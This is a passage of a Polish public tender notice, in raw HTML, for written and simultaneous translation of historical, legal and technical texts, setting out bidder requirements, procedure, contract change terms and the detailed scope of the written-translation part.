dokumentów historycznych: •	z języka polskiego na język angielski i/lub odwrotnie,•	z języka polskiego na język ukraiński i/lub odwrotnie,•	z języka polskiego na niemiecki i/lub odwrotnie, •	z języka polskiego na język rosyjski i/lub odwrotnie	o łącznej objętości min. 5 arkuszy wydawniczych (200 000 znaków ze spacjami) wydanych w publikacjach historycznych,wykonanych w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy – to w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów na rzecz których usługi zostały wykonane wraz z dowodami czy zostały wykonane należycie (wg załącznika nr 4.1 do SIWZ). 	w zakresie części 2: minimum dwie (2) usługi, polegające na dokonywaniu tłumaczeń symultanicznych, w językach określonych w rozdziale III ust. 3 SIWZ, z zakresu historii najnowszej o łącznej wartości minimum 70.000,00 PLN brutto, wykonanych lub wykonywanych w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy – to w tym okresie, z podaniem zakresu danej usługi (przedmiotu zamówienia), wartości zrealizowanego zamówienia, daty rozpoczęcia realizacji zamówienia oraz daty zakończenia realizacji zamówienia (w przypadku zamówień wykonanych), nazw i adresów odbiorców zamówienia (wg Załącznika nr 4.2 do SIWZ) wraz z dowodami czy zostały wykonane lub są wykonywane należycie.</span> <br/> <b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_kryteriow_selekcji"></span> </div> <b> III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_potwierdzenie_okolicznosci"></span> </div> <b> III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6) </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_inne_dokumenty_niewymienione"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA IV: PROCEDURA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>IV.1) OPIS </b> <br/> <b>IV.1.1) Tryb udzielenia zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_tryb_udzielenia_zamowienia">Przetarg nieograniczony</span> <br/> <b>IV.1.2) Zamawiający żąda wniesienia wadium:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wadium">Nie</span> <br/> Informacja na temat wadium <br/> <span id="ctl00_ContentPlaceHolder1_wadium"></span> </div> <br/> <b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zaliczek">Nie</span> <br/> Należy podać informacje na temat udzielania zaliczek: <br/> <span id="ctl00_ContentPlaceHolder1_przewiduje_udzielenie_zaliczek"></span> </div> <br/> <b> IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_zlozenie_katalogow_elektronicznych_informacje_dodatkowe"></span> </div> <br/> <b> IV.1.5.) Wymaga się złożenia oferty wariantowej: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_oferty_wariantowej">Nie</span> <br/> Dopuszcza się złożenie oferty wariantowej <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej">Nie</span> <br/> Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej_zasadniczej">Nie</span> </div> <br/> <b> IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu </b> <br/> <i> (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne) </i> <div style="padding-left: 20px"> Liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_liczba_wykonawcow"></span> <br/> Przewidywana minimalna liczba wykonawców <span id="ctl00_ContentPlaceHolder1_minimalna_liczba_wykonawcow"></span> <br/> Maksymalna liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_wykonawcow"></span> <br/> Kryteria selekcji wykonawców: <br/> <span id="ctl00_ContentPlaceHolder1_znaczenie_warunkow_wykonawcow"></span> </div> <br/> <b> IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów: </b> <div style="padding-left: 20px"> Umowa ramowa będzie zawarta: <br/> <span id="ctl00_ContentPlaceHolder1_z_kim_umowa_bedzie_zawarta"></span> <br/> Czy przewiduje się ograniczenie liczby uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_ograniczenie_liczby_uczestnikow"></span> <br/> Przewidziana maksymalna liczba uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow_informacje_dodatkowe"></span> <br/> Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_obejmuje_ustanowienie"></span> <br/> Adres strony internetowej, na której będą zamieszczone dodatkowe informacje dotyczące dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie_informacje_dodatkowe"></span> <br/> W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_umowy_ramowej_dynamicznego_katalogow"></span> <br/> Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_pobranie_umowy_ramowej_dynamicznego_katalogow"></span> </div> <br/> <b>IV.1.8) Aukcja elektroniczna </b> <br/> <b> Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i> <span id="ctl00_ContentPlaceHolder1_aukcja_elektroniczna"></span> <br/> Należy podać adres strony internetowej, na której aukcja będzie prowadzona: <br/> <span id="ctl00_ContentPlaceHolder1_adres_strony_na_ktorej_bedzie_prowadzona"></span> <br/> <b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b> <span id="ctl00_ContentPlaceHolder1_elementy_aukcji_elektronicznej"></span> <br/> <b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b> <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenia_do_przedstawianych_wartosci"></span> <br/> Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie termin ich udostępnienia: <span id="ctl00_ContentPlaceHolder1_informaje_udostepnione_wykonawcom"></span> <br/> Informacje dotyczące przebiegu aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_informaje_przebiegu_aukcji"></span> <br/> Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): <span id="ctl00_ContentPlaceHolder1_warunki_do_licytacji"></span> <br/> Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń: <span id="ctl00_ContentPlaceHolder1_wykorzystanie_sprzetu_elektronicznego"></span> <br/> Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_wymagania_dotyczace_rejestracji_wyk_aukcja"></span> <br/> Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa"></span> <br/>Czas trwania: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa_czas"></span> <br /> <br/> Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_wykonawcy_zakwalfikowani"></span> <br/> Warunki zamknięcia aukcji elektronicznej: <br/> <span id="ctl00_ContentPlaceHolder1_warunki_zamkniecia_aukcji"></span> </div> <br/> <b>IV.2) KRYTERIA OCENY OFERT </b> <br/> <b>IV.2.1) Kryteria oceny ofert: </b> <br/> <b>IV.2.2) Kryteria</b> <br/> <br/> <b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony) <br/> <span id="ctl00_ContentPlaceHolder1_zastosowanie_procedury_pzp">Tak</span> <br/> <b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b> <br/> <b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b> <br/> Minimalne wymagania, które muszą spełniać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_minimalne_wymagania"></span> <br/> Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziane_jest_zastrzezenie"></span> <br/> Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert: <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziany_podzial"></span> <br/> Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów): <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_etapy_negocjacji"></span> <br/> Informacje dodatkowe <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_dodatkowe_informacje"></span> <br/> <br/> <b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b> <br/> Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_opis_potrzeb"></span> <br/> Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_informacja_wysokosc_nagrod"></span> <br/> Wstępny harmonogram postępowania: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_wstepny_harmonogram"></span> <br/> Podział dialogu na etapy w celu ograniczenia liczby rozwiązań: <span id="ctl00_ContentPlaceHolder1_IV_3_2_PodzialDialogu"></span> <br/> Należy podać informacje na temat etapów dialogu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_EtapyDialogu"></span> <br/> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_DodatkoweInformacje"></span> <br/> <b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b> <br/> Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_ElementyOpisu"></span> <br/> Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_PodzialNegocjacji"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_DodatkoweInfo"></span> <br/> <b>IV.4) Licytacja elektroniczna </b> <br/> Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_6"></span> </div> Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_7"></span> </div> Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_8"></span> </div> Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_9"></span> </div> Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa"></span> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa_czas"> Czas trwania: </span> <br /> <br/> Wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_4_10_wykonawcy_zakwalfikowani"></span> </div> Termin składania wniosków o dopuszczenie do udziału w licytacji elektronicznej: <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_11_data"></span> godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_11_godzina"></span> <br/> Termin otwarcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_12"></span> </div> Termin i warunki zamknięcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_13"></span> </div> <br/> Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_IstotnePostanowienia">Istotne dla stron postanowienia związane z realizacją niniejszego zamówienia publicznego zawiera wzór umowy (załącznik nr 11.1, 11.2 do SIWZ).</span> </div> <br/> Wymagania dotyczące zabezpieczenia należytego wykonania umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_14"></span> </div> <br/> Informacje dodatkowe: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_LicytacjeDodatkoweInformacje"></span> </div> <b>IV.5) ZMIANA UMOWY</b> <br/> <b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy">Tak</span> <br/> Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian: <br/> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy_tekst">1.	Zamawiający dopuszcza dokonywanie zmian zawartej umowy na zasadach określonych w art. 144 ustawy Pzp. 2.	Zamawiający dopuszcza możliwość zmiany osób uczestniczących w realizacji przedmiotu zamówienia, w sytuacjach niezależnych od Wykonawcy. Nowe osoby, które miałyby uczestniczyć w wykonywaniu przedmiotu zamówienia, muszą spełniać wymagania, określone przez Zamawiającego w niniejszym postępowaniu. Zmiana osób uczestniczących w wykonywaniu zamówienia nie wymaga aneksu do umowy.3.	Zamawiający dopuszcza możliwość zmiany załącznika nr 10 do SIWZ – Instrukcji wydawniczej (dotyczy Części 1). </span> <br/> <b>IV.6) INFORMACJE ADMINISTRACYJNE </b> <br/> <br /> <b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i> <br /> <span id="ctl00_ContentPlaceHolder1_IV_6_1_sposob_udostepniania"></span> <br/> <b>Środki służące ochronie informacji o charakterze poufnym</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_1_srodki_ochrony"></span> <br/> <b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b> <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_4_data">2019-11-29</span>, godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_4_godzina">10:00</span>, <br/> Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem): <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_SkrocenieTerminu">Nie</span> <br/> Wskazać powody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_Powody"></span> <br/> Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu <br/>> <span id="ctl00_ContentPlaceHolder1_IV_4_4_jezyki">Polski</span> <br/> <b>IV.6.3) Termin związania ofertą: </b> do: <span id="ctl00_ContentPlaceHolder1_IV_4_5_data"></span> okres w dniach: <span id="ctl00_ContentPlaceHolder1_IV_4_5_okres">30</span> (od ostatecznego terminu składania ofert) <br/> <b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b> <span id="ctl00_ContentPlaceHolder1_IV_4_17">Nie</span> <br/> <b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b> <span id="ctl00_ContentPlaceHolder1_IV_6_5">Nie</span> <br/> <b>IV.6.6) Informacje dodatkowe:</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_6"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: center"> <u> ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH </u> </div> <br /> <div> <br /> <table><tr><td><b>Część nr: </b></td><td>1</td><td><b>Nazwa: </b></td><td>TŁUMACZENIA PISEMNE</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>1)	Tłumaczenia pisemne dotyczą następujących języków obcych podzielonych na 2 grupy:a)	Grupa I: niemiecki, angielski, rosyjski, francuski,b)	Grupa II: litewski, czeski, rumuński, węgierski, słowacki, gruziński, białoruski, włoski, hiszpański, holenderski, ukraiński.2)	Poszczególne tłumaczenia pisemne będą zlecane przez Zamawiającego sukcesywnie, stosownie do potrzeb Zamawiającego i w terminach określanych każdorazowo dla danego zlecenia przez Zamawiającego. Wzór formularza zlecenia określa Załącznik nr 7.1 do SIWZ.3)	Tłumaczenia obejmować będą problematykę z zakresu:a)	historii, w szczególności z lat 1939-1990, będą to m.in.: dokumenty, biogramy, referaty, streszczenia, artykuły naukowe,b)	prawa i administracji, będą to m.in.: teksty zawierające przepisy prawne, formularze urzędowe, teksty umów, korespondencja listowa jak i drogą poczty elektronicznej prowadzona z zagranicznymi partnerami, teksty dotyczące audytu. Teksty związane są z profilem działalności Zamawiającego, tj. obejmują m.in. tematykę historii najnowszej,c)	techniki i szeroko rozumianej informatyki, będą to m.in.: normy techniczne i jakościowe, dokumentacje techniczne, instrukcje obsługi, itp. 4)	Zamawiający przewiduje zlecanie Wykonawcy następujących tłumaczeń i czynności:a)	tłumaczenie pisemne zwykłe z weryfikacją „zwykłą” – jedna strona przeliczeniowa dostarczonego tłumaczenia zawiera 1800 znaków (wraz ze spacjami),b)	tłumaczenie pisemne zwykłe z weryfikacją przez „NATIVE SPEAKERA” – jedna strona przeliczeniowa dostarczonego tłumaczenia zawiera 1800 znaków (wraz ze spacjami),c)	tłumaczenie pisemne przysięgłe – jedna strona przeliczeniowa dostarczonego tłumaczenia zawiera 1125 znaków (wraz ze spacjami) – zgodnie z rozporządzeniem Ministra Sprawiedliwości z 24 stycznia 2005 r. w sprawie wynagrodzenia za czynności tłumacza przysięgłego (Dz. U. z 2005, Nr 15, poz. 131 ze zm.),d)	uwierzytelnianie przysięgłe 1 strony tłumaczenia zwykłego,e)	weryfikacja teksu obcojęzycznego przez „NATIVE SPEAKERA” – jedna strona przeliczeniowa dostarczonego tekstu zawiera 1800 znaków (wraz ze spacjami).5)	Podstawą ustalenia wynagrodzenia Wykonawcy jest liczba stron przeliczeniowych dostarczonego tłumaczenia pisemnego. Przez stronę przeliczeniową rozumie się stronę zawierającą odpowiednio 1800 (tłumaczenia zwykłe) i 1125 (tłumaczenie przysięgłe) znaków wraz ze spacjami. 6)	Liczenie znaków dokonane zostanie przez Zamawiającego w programie Microsoft Office Word lub równoważnym edytorze tekstu. 7)	Liczbę stron przeliczeniowych tłumaczenia zwykłego oblicza się dzieląc łączną liczbę znaków (wraz ze spacjami) zawartych w przekazanych tłumaczeniach przez liczbę 1800. Otrzymaną liczbę stron tłumaczeniowych zaokrągla się do pełnych stron w ten sposób, że:a)	w razie otrzymania jako wyniku z powyższego dzielenia liczby, której pierwsza cyfra po przecinku jest mniejsza niż 5 – zaokrąglenie następuje w dół,b)	w razie otrzymania jako wyniku z powyższego dzielenia liczby, której pierwsza cyfra po przecinku jest równa lub większa niż 5 – zaokrąglenie następuje w górę,c)	w razie otrzymania jako wyniku z powyższego dzielenia liczby poniżej 1 – zaokrąglenie następuje do liczby 1 (dotyczy zlecenia tłumaczenia pisemnego zwykłego o objętości poniżej jednej strony).8)	Liczbę stron przeliczeniowych tłumaczenia przysięgłego oblicza się dzieląc łączną liczbę znaków (wraz ze spacjami) zawartych w przekazanych tłumaczeniach przez liczbę 1125. Stronę rozpoczętą uznaje się za całą.9)	Przekazanie tekstów do tłumaczenia oraz odbiór tekstów przetłumaczonych następować będzie przez osoby upoważnione przez Zamawiającego, poprzedzone przesłaniem formularza zlecenia.10)	Materiały do tłumaczeń przekazywane będą Wykonawcy w formie pisemnej lub elektronicznej (np. na nośniku optycznym lub drogą poczty elektronicznej) - zgodnie z wyborem Zamawiającego.11)	Zamawiający będzie zlecał Wykonawcy wykonanie tłumaczeń pisemnych w następujących trybach:a)	tryb normalny – przetłumaczenie i zweryfikowanie do 6 stron przeliczeniowych tłumaczenia pisemnego dziennie;b)	tryb pilny – przetłumaczenie i zweryfikowanie od 7 do 12 stron przeliczeniowych tłumaczenia pisemnego dziennie;c)	tryb ekspresowy – przetłumaczenie i zweryfikowanie od 13 do 18 stron przeliczeniowych tłumaczenia pisemnego dziennie.12)	Wykonawca przy wykonywaniu tłumaczenia pisemnego z weryfikacją „zwykłą” zobowiązany będzie do weryfikacji stylistycznej, ortograficznej i gramatycznej dokonanego tłumaczenia przed jego przekazaniem Zamawiającemu. Osoba weryfikująca dane tłumaczenie nie może weryfikować przetłumaczonego przez siebie tekstu. W związku z tym osoba wskazana jako tłumacz nie może być wskazana jednocześnie jako weryfikator.13)	Wykonawca przy wykonywaniu tłumaczenia pisemnego z weryfikacją przez „NATIVE SPEAKERA” zobowiązany będzie do weryfikacji stylistycznej, ortograficznej i gramatycznej dokonanego tłumaczenia przed jego przekazaniem Zamawiającemu. Osoba weryfikująca dane tłumaczenie musi być „NATIVE SPEAKEREM”, tzn. dany język obcy musi być językiem ojczystym danej osoby. Osoba weryfikująca nie może weryfikować przetłumaczonego przez siebie tekstu. W związku z tym osoba wskazana jako tłumacz nie może być wskazana jednocześnie jako weryfikator „NATIVE SPEAKER”. 14)	Obowiązek weryfikacji nie dotyczy tłumaczeń przysięgłych ani uwierzytelniania przysięgłego tłumaczenia zwykłego.15)	Wykonawca zobowiązany będzie do stosowania nazw własnych, w tym wyrażeń, zwrotów lub nazw instytucji, terminów i określeń stosowanych w publikacjach historycznych lub normach i dokumentach prawnych.16)	Na żądanie Zamawiającego, Wykonawca zobowiązany będzie przy wykonywaniu przedmiotu umowy do stosowania tzw. instrukcji wydawniczej określającej format zapisu pojęć, dat, przypisów tłumaczonych tekstów, itp. Instrukcja wydawnicza stanowi Załącznik nr 10 do SIWZ. 17)	Wykonawca dostarcza wykonane tłumaczenia pisemne do siedziby Zamawiającego w wersji elektronicznej (np. na nośniku optycznym lub drogą poczty elektronicznej) - w formacie pliku tekstowego przygotowanego przy użyciu programu Microsoft Office Word lub równoważnego edytora tekstu. Wraz z tłumaczeniem Wykonawca zobowiązany jest przekazać informacje zawierające imię i nazwisko osoby (osób) dokonującej tłumaczenia oraz osoby (osób) dokonującej weryfikacji tłumaczenia (w przypadku tłumaczenia pisemnego zwykłego). Przekazanie tłumaczeń potwierdzone zostanie protokołem dostarczenia, wypełnionym przez Wykonawcę, sporządzonym wg wzoru protokołu dostarczenia – Załącznik nr 8 do SIWZ. Zamawiający w ciągu 7 dni od daty przekazania tłumaczenia potwierdzonego protokołem dostarczenia, sporządzi protokół odbioru jakościowego – Załącznik nr 9.1 do SIWZ. Ocena będzie dokonywana na losowo wybranej próbce o objętości ok. 5% tekstu przetłumaczonego, nie mniej jednak niż 1 strona A4. W przypadku stwierdzenia wad tekst zostanie zwrócony do Wykonawcy, który usunie wady w ciągu połowy czasu przeznaczonego na tłumaczenie. Odbiór prawidłowo wykonanej pracy zostaje potwierdzony protokołem odbioru jakościowego. W przypadku dwukrotnego uzasadnionego odrzucenia tłumaczonego tekstu, Zamawiający ma prawo zrezygnować z jego dalszego kierowania do poprawek (nie wypłacając Wykonawcy wynagrodzenia) i zlecić tłumaczenie od nowa. W takiej sytuacji Zamawiający może zlecić tłumaczenie podmiotowi trzeciemu, a kosztami obciążyć Wykonawcę.18)	Wykonawca przedstawi Zamawiającemu fakturę po pozytywnym odbiorze jakościowym. Podstawą zapłaty wynagrodzenia będą protokół dostarczenia oraz protokół odbioru jakościowego, a w przypadku usunięcia wad ostateczny protokół odbioru jakościowego.19)	Wykonawca dostarcza Zamawiającemu wykonane tłumaczenia do godz. 16.00. Dostarczenie tłumaczeń po godz. 16.00 będzie równoważne z przekazaniem ich w dniu następnym.20)	Wykonawca w ramach niniejszego przedmiotu zamówienia zobowiązany będzie do przeniesienia na Zamawiającego autorskiego prawa majątkowego do nieograniczonego w czasie i w przestrzeni korzystania i rozporządzania wykonanym tłumaczeniem w całości i we fragmentach, w kraju i za granicą oraz udzielić Zamawiającemu wyłącznego prawa zezwalania na wykonywanie autorskich praw zależnych. Przeniesienie praw następuje z chwilą przyjęcia dzieła i obejmuje następujące pola eksploatacji:a)	utrwalanie na jakimkolwiek nośniku, w szczególności na: dyskach komputerowych, nośnikach video, taśmie światłoczułej, magnetycznej, oraz wszystkich typach nośników przeznaczonych do zapisu cyfrowego;b)	zwielokrotnianie jakąkolwiek techniką, w tym: techniką magnetyczną na kasetach video, dyskach audiowizualnych, techniką światłoczułą i cyfrową, techniką zapisu komputerowego na wszystkich rodzajach nośników dostosowanych do tej formy zapisu, wytwarzanie określoną techniką egzemplarzy utworu, w tym techniką drukarską, reprograficzną, zapisu magnetycznego oraz techniką cyfrową (w tym CD, DVD, CD ROM, itp.);c)	wprowadzanie egzemplarzy nośników do obrotu na terytorium Rzeczypospolitej Polskiej i poza jej granicami; wprowadzanie do obrotu przy użyciu Internetu i innych technik przekazu danych wykorzystujących sieci telekomunikacyjne, informatyczne i bezprzewodowe;d)	publiczne wykonanie, wystawienie, wyświetlenie, odtworzenie;e)	publiczne udostępnianie dzieła w taki sposób, aby każdy mógł mieć do niego dostęp w miejscu i czasie przez siebie wybranym;f)	użyczenie, najem, dzierżawę lub wymianę nośników, na których dzieło utrwalono;g)	wprowadzenie do pamięci komputera, do sieci komputerowej i/lub multimedialnej w nieograniczonej ilości nadań i wielkości nakładów;h)	wykorzystywanie na stronach internetowych Zamawiającego ;i)	wykorzystywanie w utworach multimedialnych;j)	sporządzanie wersji obcojęzycznych;k)	wykorzystywanie fragmentów dzieła do celów promocyjnych;l)	nadawanie analogowe i/lub cyfrowe niezależnie od systemu, standardu i formatu za pomocą wizji i/lub fonii przewodowej i bezprzewodowej przez stację naziemną i stacje kablowe,m)	nadawanie za pośrednictwem satelity,n)	nadawanie za pośrednictwem Internetu;o)	reemitowanie;p)	retransmisje w nieograniczonej ilości nadań.21)	Wykonawca w ramach niniejszego przedmiotu zamówienia upoważni Zamawiającego do:a)	włączania dzieła w całości lub we fragmentach do innych utworów,b)	wprowadzania w dziele zmian oraz skrótów.22)	Zamawiający nie dopuszcza możliwości wykonywania tłumaczeń za pomocą programów komputerowych służących do translacji tekstów.23)	Wszelkie kopie zlecanych przez Zamawiającego tłumaczeń przysięgłych (uwierzytelnienie przysięgłego tłumaczenia) będą realizowane przez Wykonawcę w ramach wartości danego zlecenia. 24)	W przypadku tłumaczeń przysięgłych i uwierzytelnionych usługa zostanie uznana przez Zamawiającego za wykonaną, w chwili dostarczenia przez Wykonawcę do siedziby Zamawiającego oryginału tłumaczenia w wersji papierowej. <br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: 